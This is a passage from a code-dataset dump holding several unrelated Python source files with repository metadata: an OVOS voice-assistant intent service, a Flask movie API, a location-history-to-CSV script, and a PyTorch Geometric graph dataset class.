handle_detach_intent(self, message):\n        \"\"\"Remover adapt intent.\n\n        Args:\n            message (Message): message containing intent info\n        \"\"\"\n        intent_name = message.data.get('intent_name')\n        self.adapt_service.detach_intent(intent_name)\n\n    def handle_detach_skill(self, message):\n        \"\"\"Remove all intents registered for a specific skill.\n\n        Args:\n            message (Message): message containing intent info\n        \"\"\"\n        skill_id = message.data.get('skill_id')\n        self.adapt_service.detach_skill(skill_id)\n\n    def handle_add_context(self, message):\n        \"\"\"Add context\n\n        Args:\n            message: data contains the 'context' item to add\n                     optionally can include 'word' to be injected as\n                     an alias for the context item.\n        \"\"\"\n        entity = {'confidence': 1.0}\n        context = message.data.get('context')\n        word = message.data.get('word') or ''\n        origin = message.data.get('origin') or ''\n        # if not a string type try creating a string from it\n        if not isinstance(word, str):\n            word = str(word)\n        entity['data'] = [(word, context)]\n        entity['match'] = word\n        entity['key'] = word\n        entity['origin'] = origin\n        self.adapt_service.context_manager.inject_context(entity)\n\n    def handle_remove_context(self, message):\n        \"\"\"Remove specific context\n\n        Args:\n            message: data contains the 'context' item to remove\n        \"\"\"\n        context = message.data.get('context')\n        if context:\n            self.adapt_service.context_manager.remove_context(context)\n\n    def handle_clear_context(self, _):\n        \"\"\"Clears all keywords from context \"\"\"\n        self.adapt_service.context_manager.clear_context()\n\n    def handle_get_intent(self, message):\n        \"\"\"Get intent from either adapt or padatious.\n\n        Args:\n            message (Message): message containing utterance\n        \"\"\"\n        utterance = message.data[\"utterance\"]\n        lang = get_message_lang(message)\n\n        # Create matchers\n        padatious_matcher = PadatiousMatcher(self.padatious_service)\n\n        # List of functions to use to match the utterance with intent.\n        # These are listed in priority order.\n        # TODO once we have a mechanism for checking if a fallback will\n        #  trigger without actually triggering it, those should be added here\n        match_funcs = [\n            padatious_matcher.match_high,\n            self.adapt_service.match_intent,\n            # self.fallback.high_prio,\n            padatious_matcher.match_medium,\n            # self.fallback.medium_prio,\n            padatious_matcher.match_low,\n            # self.fallback.low_prio\n        ]\n        # Loop through the matching functions until a match is found.\n        for match_func in match_funcs:\n            match = match_func([utterance], lang, message)\n            if match:\n                if match.intent_type:\n                    intent_data = match.intent_data\n                    intent_data[\"intent_name\"] = match.intent_type\n                    intent_data[\"intent_service\"] = match.intent_service\n                    intent_data[\"skill_id\"] = match.skill_id\n                    intent_data[\"handler\"] = match_func.__name__\n                    self.bus.emit(message.reply(\"intent.service.intent.reply\",\n                                                {\"intent\": intent_data}))\n                return\n\n        # signal intent failure\n        self.bus.emit(message.reply(\"intent.service.intent.reply\",\n                                    {\"intent\": None}))\n\n    def handle_get_skills(self, message):\n        \"\"\"Send registered skills to caller.\n\n        Argument:\n            message: query message to reply to.\n        \"\"\"\n        self.bus.emit(message.reply(\"intent.service.skills.reply\",\n                                    {\"skills\": self.skill_names}))\n\n    def handle_get_active_skills(self, message):\n        \"\"\"Send active skills to caller.\n\n        Argument:\n            message: query message to reply to.\n        \"\"\"\n        self.bus.emit(message.reply(\"intent.service.active_skills.reply\",\n                                    {\"skills\": self.converse.active_skills}))\n\n    def handle_get_adapt(self, message):\n        \"\"\"handler getting the adapt response for an utterance.\n\n        Args:\n            message (Message): message containing utterance\n        \"\"\"\n        utterance = message.data[\"utterance\"]\n        lang = get_message_lang(message)\n        intent = self.adapt_service.match_intent([utterance], lang)\n        intent_data = intent.intent_data if intent else None\n        self.bus.emit(message.reply(\"intent.service.adapt.reply\",\n                                    {\"intent\": intent_data}))\n\n    def handle_adapt_manifest(self, message):\n        \"\"\"Send adapt intent manifest to caller.\n\n        Argument:\n            message: query message to reply to.\n        \"\"\"\n        self.bus.emit(message.reply(\"intent.service.adapt.manifest\",\n                                    {\"intents\": self.registered_intents}))\n\n    def handle_vocab_manifest(self, message):\n        \"\"\"Send adapt vocabulary manifest to caller.\n\n        Argument:\n            message: query message to reply to.\n        \"\"\"\n        self.bus.emit(message.reply(\"intent.service.adapt.vocab.manifest\",\n                                    {\"vocab\": self.registered_vocab}))\n\n    def handle_get_padatious(self, message):\n        \"\"\"messagebus handler for perfoming padatious parsing.\n\n        Args:\n            message (Message): message triggering the method\n        \"\"\"\n        utterance = message.data[\"utterance\"]\n        norm = message.data.get('norm_utt', utterance)\n        intent = self.padatious_service.calc_intent(utterance)\n        if not intent and norm != utterance:\n            intent = self.padatious_service.calc_intent(norm)\n        if intent:\n            intent = intent.__dict__\n        self.bus.emit(message.reply(\"intent.service.padatious.reply\",\n                                    {\"intent\": intent}))\n\n    def handle_padatious_manifest(self, message):\n        \"\"\"Messagebus handler returning the registered padatious intents.\n\n        Args:\n            message (Message): message triggering the method\n        \"\"\"\n        self.bus.emit(message.reply(\n            \"intent.service.padatious.manifest\",\n            {\"intents\": self.padatious_service.registered_intents}))\n\n    def handle_entity_manifest(self, message):\n        \"\"\"Messagebus handler returning the registered padatious entities.\n\n        Args:\n            message (Message): message triggering the method\n        \"\"\"\n        self.bus.emit(message.reply(\n            \"intent.service.padatious.entities.manifest\",\n            {\"entities\": self.padatious_service.registered_entities}))\n\n\ndef _is_old_style_keyword_message(message):\n    \"\"\"Simple check that the message is not using the updated format.\n\n    TODO: Remove in v22.02\n\n    Args:\n        message (Message): Message object to check\n\n    Returns:\n        (bool) True if this is an old messagem, else False\n    \"\"\"\n    return ('entity_value' not in message.data and 'start' in message.data)\n\n\ndef _update_keyword_message(message):\n    \"\"\"Make old style keyword registration message compatible.\n\n    Copies old keys in message data to new names.\n\n    Args:\n        message (Message): Message to update\n    \"\"\"\n    message.data['entity_value'] = message.data['start']\n    message.data['entity_type'] = message.data['end']\n", "repo_name": "goldyfruit/ovos-core", "sub_path": "ovos_core/intent_services/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 21211, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "70", "api": [{"api_name": "collections.namedtuple", "line_number": 23, "usage_type": "call"}, {"api_name": "ovos_config.config.Configuration", "line_number": 38, "usage_type": "call"}, {"api_name": "ovos_core.intent_services.adapt_service.AdaptService", "line_number": 44, "usage_type": "call"}, {"api_name": "ovos_core.intent_services.padatious_service.PadatiousService", "line_number": 46, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG.exception", "line_number": 48, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG", "line_number": 48, "usage_type": "name"}, {"api_name": "ovos_core.intent_services.fallback_service.FallbackService", "line_number": 49, "usage_type": "call"}, {"api_name": "ovos_core.intent_services.converse_service.ConverseService", "line_number": 50, "usage_type": "call"}, {"api_name": "ovos_core.intent_services.commonqa_service.CommonQAService", "line_number": 51, "usage_type": "call"}, {"api_name": "ovos_core.transformers.UtteranceTransformersService", "line_number": 52, "usage_type": "call"}, {"api_name": "ovos_core.transformers.MetadataTransformersService", "line_number": 53, "usage_type": "call"}, {"api_name": "ovos_utils.messagebus.get_message_lang", "line_number": 96, "usage_type": "call"}, {"api_name": "ovos_utils.messagebus.get_message_lang", "line_number": 140, "usage_type": "call"}, {"api_name": "ovos_config.locale.setup_locale", "line_number": 142, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG.exception", "line_number": 144, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG", "line_number": 144, "usage_type": "name"}, {"api_name": "ovos_utils.messagebus.get_message_lang", "line_number": 152, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG.debug", "line_number": 158, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG", "line_number": 158, "usage_type": "name"}, {"api_name": "ovos_config.config.Configuration", "line_number": 170, "usage_type": "call"}, {"api_name": "ovos_utils.messagebus.get_message_lang", "line_number": 171, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG.info", "line_number": 181, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG", "line_number": 181, "usage_type": "name"}, {"api_name": "ovos_utils.log.LOG.warning", "line_number": 184, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG", "line_number": 184, "usage_type": "name"}, {"api_name": "ovos_config.locale.setup_locale", "line_number": 223, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG.exception", "line_number": 225, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG", "line_number": 225, "usage_type": "name"}, {"api_name": "ovos_utils.metrics.Stopwatch", "line_number": 229, "usage_type": "call"}, {"api_name": "ovos_core.intent_services.padatious_service.PadatiousMatcher", "line_number": 232, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG.exception", "line_number": 275, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG", "line_number": 275, "usage_type": "name"}, {"api_name": "ovos_utils.sound.play_error_sound", "line_number": 283, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG.warning", "line_number": 294, "usage_type": "call"}, {"api_name": "ovos_utils.log.LOG", "line_number": 294, "usage_type": "name"}, {"api_name": "ovos_utils.messagebus.get_message_lang", "line_number": 302, "usage_type": "call"}, {"api_name": "ovos_utils.intents.intent_service_interface.open_intent_envelope", "line_number": 313, "usage_type": "call"}, {"api_name": "ovos_utils.messagebus.get_message_lang", "line_number": 376, "usage_type": "call"}, {"api_name": "ovos_core.intent_services.padatious_service.PadatiousMatcher", "line_number": 379, "usage_type": "call"}, {"api_name": "ovos_utils.messagebus.get_message_lang", "line_number": 437, "usage_type": "call"}]}
{"seq_id": "73455356709", "text": "from flask import Flask, jsonify\n\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_marshmallow import Marshmallow\n\n## DB CONNECTION AREA\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql+psycopg2://tomato:@localhost:5432/ripe_tomatoes_db'\n# config = protocol+adaptor for db ://user:password@hostname:port/database\n\ndb = SQLAlchemy(app)\nma = Marshmallow(app)\n\n# CLI COMMANDS AREA\n\n@app.cli.command('create') # Drop previous table for new slate and make table\ndef create_db():\n  db.drop_all()\n  db.create_all()\n  print('Created')\n\n@app.cli.command('seed') # Seeds the tables\ndef seed_db():\n\n  actors = [\n\n    Actor(\n      first_name = 'Tom',\n      last_name = 'Holland',\n      gender = 'male',\n      country = 'UK'\n    ),\n    Actor(\n      first_name = 'Marisa',\n      last_name = 'Tomei',\n      gender = 'female',\n      country = 'USA'\n    ),\n\n    Actor(\n      first_name = 'Henry',\n      last_name = 'Cavill',\n      gender = 'male',\n      country = 'UK'\n    ),\n    Actor(\n      first_name = 'Matthew',\n      last_name = 'Mercer',\n      gender = 'male',\n      country = 'USA'\n    )\n  ]\n\n  movies = [\n    Movie(\n      genre = 'Action',\n      length = 148,\n      title = 'Spider-Man: No Way Home',\n      year = 2021\n    ),\n\n    Movie(\n      genre = 'Sci-Fi',\n      length = 155,\n      title = 'Dune',\n      year = 2021\n    )\n  ]\n\n  # truncate table as if it has cascade delete if exists\n  db.session.query(Actor).delete() \n  db.session.query(Movie).delete()\n\n  # add card to session (transaction)\n  db.session.add_all(actors)\n  db.session.add_all(movies)\n\n  # commit the change\n  db.session.commit()\n  print ('Models seeded')\n\n# MODELS AREA\n\nclass Actor(db.Model):\n  __tablename__ = 'actors'\n\n  id = db.Column(db.Integer, primary_key=True)\n  first_name = db.Column(db.String)\n  last_name = db.Column(db.String)\n  gender = db.Column(db.String)\n  country = db.Column(db.String)\n\nclass Movie(db.Model):\n  __tablename__  = 'movies'\n\n  id = db.Column(db.Integer, primary_key=True)\n  genre = db.Column(db.String)\n  length = db.Column(db.Integer)\n  title = db.Column(db.String)\n  year = db.Column(db.Integer)\n\n\n# SCHEMAS AREA\n\nclass ActorSchema(ma.Schema):\n  class Meta:\n    fields = ('id', 'first_name', 'last_name', 'gender', 'country')\n\nclass MovieSchema(ma.Schema):\n  class Meta:\n    fields = ('id', 'genre', 'length', 'title', 'year')\n\n# ROUTING AREA\n\n@app.route(\"/\")\ndef hello():\n  return \"Welcome to Ripe Tomatoes API\"\n\n@app.route(\"/actors\")\ndef all_actors():\n    stmt = db.select(Actor)\n    actors = db.session.scalars(stmt).all()\n    serialized_actors = ActorSchema(many=True).dump(actors)\n    return jsonify(serialized_actors)\n\n@app.route(\"/movies\")\ndef all_movies():\n  stmt = db.select(Movie)\n  movies = db.session.scalars(stmt).all()\n  serialized_movies = MovieSchema(many=True).dump(movies)\n  return jsonify(serialized_movies)\n\nif __name__ == '__main__':\n  app.run(debug=True)", "repo_name": "rulerrobin/Coder-Academy", "sub_path": "term2/postwork/ORM-challenge-main/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2915, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 12, "usage_type": "call"}, {"api_name": "flask_marshmallow.Marshmallow", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 125, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 132, "usage_type": "call"}]}
{"seq_id": "36751553933", "text": "import csv\nimport json\nimport os\nimport re\nfrom typing import Dict\n\nimport utils\n\n\ndef process_files(path_to_json_files: str, output_name: str, regex_filter: str = r'*') -> None:\n    \"\"\"\n        Processes JSON files in the specified directory, filters data based on a regex pattern,\n        and creates a CSV file containing filtered and aggregated location information.\n\n        Args:\n            path_to_json_files (str): Path to the directory containing JSON files.\n            output_name (str): Path to the output CSV file.\n            regex_filter (str, optional): Regular expression pattern to filter locations. Defaults to r'*'.\n        \"\"\"\n    visited = dict()\n\n    # get all JSON file names as a list\n    json_file_names = [filename for filename in os.listdir(path_to_json_files) if\n                       filename.endswith('.json')]\n    for json_file_name in json_file_names:\n        with open(os.path.join(path_to_json_files, json_file_name), encoding=\"utf8\") as json_file:\n            data = json.load(json_file)\n\n            for activity in data['timelineObjects']:\n                if 'placeVisit' in activity and 'location' in activity[\n                    'placeVisit'] and \"address\" in activity['placeVisit'][\"location\"]:\n                    location = activity['placeVisit'][\"location\"][\"address\"]\n                    match = re.search(regex_filter, location)  # filters to the wanted area\n                    if match:\n                        insert_place(visited, location, activity['placeVisit'][\"location\"])\n    visited = {key: value for key, value in visited.items() if value[\"visits\"] > 1}\n    visited = dict(sorted(visited.items(), key=lambda item: item[1][\"visits\"], reverse=True))\n\n    # Convert to CSV file\n    with open(output_name, 'w', newline='', encoding='utf-8') as csvfile:\n        fieldnames = ['address', 'name', 'visits']\n        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n        writer.writeheader()\n        for key, value in visited.items():\n            row = {'address': key, **value}\n            writer.writerow(row)\n\n\ndef insert_place(visited: Dict[str, Dict[str, any]], location: str, info: Dict):\n    \"\"\"\n        Inserts a location into the visited dictionary or updates its visit count.\n\n        Args:\n            visited (dict): Dictionary to store visited locations.\n            location (str): Address of the location.\n            info (dict): Location information.\n        \"\"\"\n    if location not in visited:\n        name = info[\"name\"] if \"name\" in info else None\n        visited[location] = {\"name\": name, \"visits\": 0}\n    visited[location][\"visits\"] += 1\n\n\ndef get_favorite_places(output_file: str) -> None:\n    \"\"\"\n    Asks the user for 20 favorite places and creates a CSV file mapping place names to their addresses.\n\n    Args:\n        output_file (str): Path to the output CSV file.\n    \"\"\"\n    favorite_places = []\n    for i in range(1, 21):\n        place = input(f\"Enter favorite place #{i} in Jerusalem (or type 'q' to finish): \")\n        if place.lower() == 'q':\n            break\n        favorite_places.append(place)\n\n    with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:\n        fieldnames = ['address', 'name']\n        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n        writer.writeheader()\n\n        for place_name in favorite_places:\n            address = utils.get_address_from_name(place_name)\n            if not address:\n                address = input(f\"Please write the address of {place_name}: \")\n            writer.writerow({'address': address, 'name': place_name})\n\n\ndef main(output_path, data_folder=None, regex_filter=r'*'):\n    \"\"\"\n        Main function that processes JSON files, filters locations, and generates an output CSV file.\n    \"\"\"\n    if not data_folder:\n        get_favorite_places(output_path)\n        return\n    process_files(data_folder, output_path, regex_filter)\n\n\nif __name__ == '__main__':\n    # regex = r'.+(?:Jerusalem, Israel|ירושלים, ישראל)$'\n    # data_folder = \"data\"\n    # output_path = \"output/new_filtered_locations.csv\"\n    # main(output_path, data_folder, regex)\n\n    output_path = \"output/picked_locations.csv\"\n    main(output_path)", "repo_name": "nogakassif/SensingPlaces", "sub_path": "locationsProcess.py", "file_name": "locationsProcess.py", "file_ext": "py", "file_size_in_byte": 4199, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.listdir", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 27, "usage_type": "call"}, {"api_name": "re.search", "line_number": 33, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 42, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 49, "usage_type": "name"}, {"api_name": "csv.DictWriter", "line_number": 80, "usage_type": "call"}, {"api_name": "utils.get_address_from_name", "line_number": 84, "usage_type": "call"}]}
{"seq_id": "14391948438", "text": "import torch\nfrom torch_geometric.data import Dataset, Data\nimport random\nimport math\nimport os\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nfrom sklearn.neighbors import kneighbors_graph\n\n\n########################################\n### CUSTOM DATASET\n########################################\nclass GraphDataset(Dataset):\n    def __init__(self, root, db_set=None, k_neighbors=500, threshold=0.5, use_distances=True, use_deprecated_version=False, split_factor=0.2, activate_masks=False, transform=None, pre_transform=None):\n        self.db_set = db_set\n        self.root = root\n        self.k_neighbors = k_neighbors\n        self.threshold = threshold\n        self.use_distances = use_distances\n        self.split_factor = split_factor\n        self.activate_masks = activate_masks\n        self.use_deprecated_version = use_deprecated_version\n\n        super(GraphDataset, self).__init__(root, transform, pre_transform)\n        \n    @property\n    def raw_file_names(self):\n        raw_path = os.path.join(self.root, \"raw\")\n        filenames = os.listdir(raw_path)\n        filenames.sort()\n        return filenames\n\n    @property\n    def processed_file_names(self):\n        return \"not_implemented.pt\"\n\n    @property\n    def num_classes(self):\n        r\"\"\"The number of classes in the dataset.\"\"\"\n        y = self.data.y\n\n        return len(torch.unique(y.squeeze()))\n\n    def download(self):\n        pass\n        \n    def process(self):\n        created_files = os.listdir(self.processed_dir)\n        if (self.use_deprecated_version == False):\n            curr_file_name = 'data_k_{}.pt'.format(self.k_neighbors)\n        else:\n            curr_file_name = 'data_k_{}_deprecated.pt'.format(self.k_neighbors)\n\n        #print(created_files)\n        #print(curr_file_name)\n        if(curr_file_name in created_files):\n            print(f'Graph already created with k={self.k_neighbors} --> skip processing step')\n\n            if (self.use_deprecated_version == False):\n                self.data = torch.load(os.path.join(self.processed_dir, 'data_k_{}.pt'.format(self.k_neighbors)))\n            else:\n                self.data = torch.load(os.path.join(self.processed_dir, 'data_k_{}_deprecated.pt'.format(self.k_neighbors)))\n\n            if(self.activate_masks == True):\n                # make masks\n                labels_np = self.data.y.detach().cpu().numpy()\n                train_mask, test_mask = self._create_masks(labels_np)\n                self.data.train_mask = train_mask\n                self.data.test_mask = test_mask  \n\n            if(self.transform != None):\n                self.data = self.transform(self.data)\n            #print(data) \n        else:\n            print(f'The graph has to be created new with k={self.k_neighbors}')\n\n            i = 0\n            filename_l = []\n            label_l = []\n            features_l = []\n\n            for sample_file in tqdm(self.raw_paths):\n                db_info_np = np.load(sample_file)\n                #print(db_info_np)\n                #print(type(db_info_np[1]))\n                #print(db_info_np[1].dtype)\n                #exit()\n                filename = db_info_np[0]\n                label = db_info_np[1].astype('int')\n                \n                feature = db_info_np[2:].astype('float32')            \n                filename_l.append(filename)\n                label_l.append(label)\n                features_l.append(feature)\n\n            filenames_np = np.array(filename_l)\n            labels_np = np.array(label_l)\n            features_np = np.array(features_l)\n            #print(filenames_np.shape)\n            #print(labels_np.shape)\n            #print(features_np.shape)\n\n            features_tensor = torch.tensor(features_np, dtype=torch.float)\n            labels_tensor = torch.tensor(labels_np, dtype=torch.long)\n            edge_index, edge_attr = self._get_adjacency_info_NEW(features_np, vis_save_flag=True, threshold=self.threshold, return_distances=self.use_distances)\n\n            if(self.activate_masks == True):\n                # make masks\n                train_mask, test_mask = self._create_masks(labels_np)\n                self.data = Data(x=features_tensor,\n                                y=labels_tensor,\n                                edge_index=edge_index,\n                                train_mask=train_mask, \n                                test_mask=test_mask,\n                                edge_attr=edge_attr\n                                )\n            else:\n                self.data = Data(x=features_tensor,\n                                y=labels_tensor,\n                                edge_index=edge_index,\n                                edge_attr=edge_attr\n                                )\n\n            if(self.transform != None):\n                self.data = self.transform(self.data)\n            #print(data)\n           \n            if (self.use_deprecated_version == False):\n                torch.save(self.data, os.path.join(self.processed_dir, 'data_k_{}.pt'.format(self.k_neighbors)))\n            else:\n                torch.save(self.data, os.path.join(self.processed_dir, 'data_k_{}_deprecated.pt'.format(self.k_neighbors)))\n            \n\n    def _create_masks(self, label_idx_np):\n\n        label_names_np = np.unique(label_idx_np)\n\n        train_mask_idx_all_l = []\n        test_mask_idx_all_l = []\n\n        for i in range(0, len(label_names_np)):\n            label_idx = label_names_np[i]\n            idx = np.where(label_idx == label_idx_np)[0]\n\n            randomassort = list(idx)\n            random.shuffle(randomassort)\n            max_train = math.floor(len(randomassort) * self.split_factor)\n\n            train_mask_idx = torch.tensor(randomassort[:max_train])\n            test_mask_idx = torch.tensor(randomassort[max_train:])\n\n            train_mask_idx_all_l.extend(train_mask_idx)\n            test_mask_idx_all_l.extend(test_mask_idx)\n\n        train_mask_idx_all_tensor = torch.stack(train_mask_idx_all_l)\n        test_mask_idx_all_tensor = torch.stack(test_mask_idx_all_l)\n\n        train_mask = torch.zeros(len(label_idx_np)) \n        test_mask = torch.zeros(len(label_idx_np))\n        train_mask.scatter_(0, train_mask_idx_all_tensor, 1)\n        test_mask.scatter_(0, test_mask_idx_all_tensor, 1)\n        train_mask = train_mask.type(torch.bool)\n        test_mask = test_mask.type(torch.bool)\n\n        return train_mask, test_mask\n\n    def _get_adjacency_info_NEW(self, features_np, vis_save_flag=False, return_distances=True, threshold=0.92):        \n        adj_matrix = kneighbors_graph(features_np, n_neighbors=self.k_neighbors, mode='distance', include_self=True, n_jobs=4) #, metric=\"euclidean\" \n        adj_matrix = adj_matrix.toarray()\n        np.fill_diagonal(adj_matrix, 1)\n        row, col = np.where(adj_matrix)\n        np.fill_diagonal(adj_matrix, 0)\n        coo = np.array(list(zip(row, col)))\n        distance = adj_matrix[row, col]\n        distance = np.expand_dims(distance, axis=1)\n        \n        if(vis_save_flag == True):\n            #print(np.max(adj_matrix))\n            #print(np.min(adj_matrix))\n            #plt.figure()\n            #plt.imshow(adj_matrix, cmap='gray')\n            plt.figure()\n            plt.imshow(adj_matrix[:300, :300], cmap='gray')\n            #plt.show()\n            plt.tight_layout()\n            plt.savefig(\"./figure_\" + str(features_np.shape[0]) + \"_k_\" + str(self.k_neighbors) + \".pdf\")\n\n        if (self.use_deprecated_version == False):\n            coo = coo.T\n        else:\n            coo = np.reshape(coo, (2, -1))\n        print(coo.shape)\n        #coo = np.concatenate((coo, distance), axis=0)\n        return torch.tensor(coo, dtype=torch.long), torch.tensor(distance, dtype=torch.float32)\n\n    def _test_method(self):\n        features_np = np.random.random((100, 2048))\n        self._get_adjacency_matrix_cust(features_np, vis_save_flag=False, threshold=0.92)\n\n    def len(self):\n        return len(self.data)\n\n    def get(self, idx):\n        if (self.use_deprecated_version == False):\n            data = torch.load(os.path.join(self.processed_dir, 'data_k_{}.pt'.format(self.k_neighbors)))\n        else:\n            data = torch.load(os.path.join(self.processed_dir, 'data_k_{}_deprecated.pt'.format(self.k_neighbors)))\n\n        if(self.activate_masks == True):\n            # make masks\n            labels_np = data.y.detach().cpu().numpy()\n            train_mask, test_mask = self._create_masks(labels_np)\n            data.train_mask = train_mask\n            data.test_mask = test_mask   \n        return data\n", "repo_name": "dahe-cvl/VISAPP2022_GSTC", "sub_path": "GraphDatasets.py", "file_name": "GraphDatasets.py", "file_ext": "py", "file_size_in_byte": 8562, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch_geometric.data.Dataset", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.unique", "line_number": 45, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 106, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 107, "usage_type": "attribute"}, {"api_name": "torch_geometric.data.Data", "line_number": 113, "usage_type": "call"}, {"api_name": "torch_geometric.data.Data", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 146, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 149, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 158, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 165, "usage_type": "attribute"}, {"api_name": "torch.bool", "line_number": 166, "usage_type": "attribute"}, {"api_name": "sklearn.neighbors.kneighbors_graph", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.fill_diagonal", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.fill_diagonal", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 194, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 197, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 197, "usage_type": "attribute"}, {"api_name": "torch.float32", "line_number": 197, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 200, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 208, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 208, "usage_type": "call"}, {"api_name": "os.path", "line_number": 208, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}]}
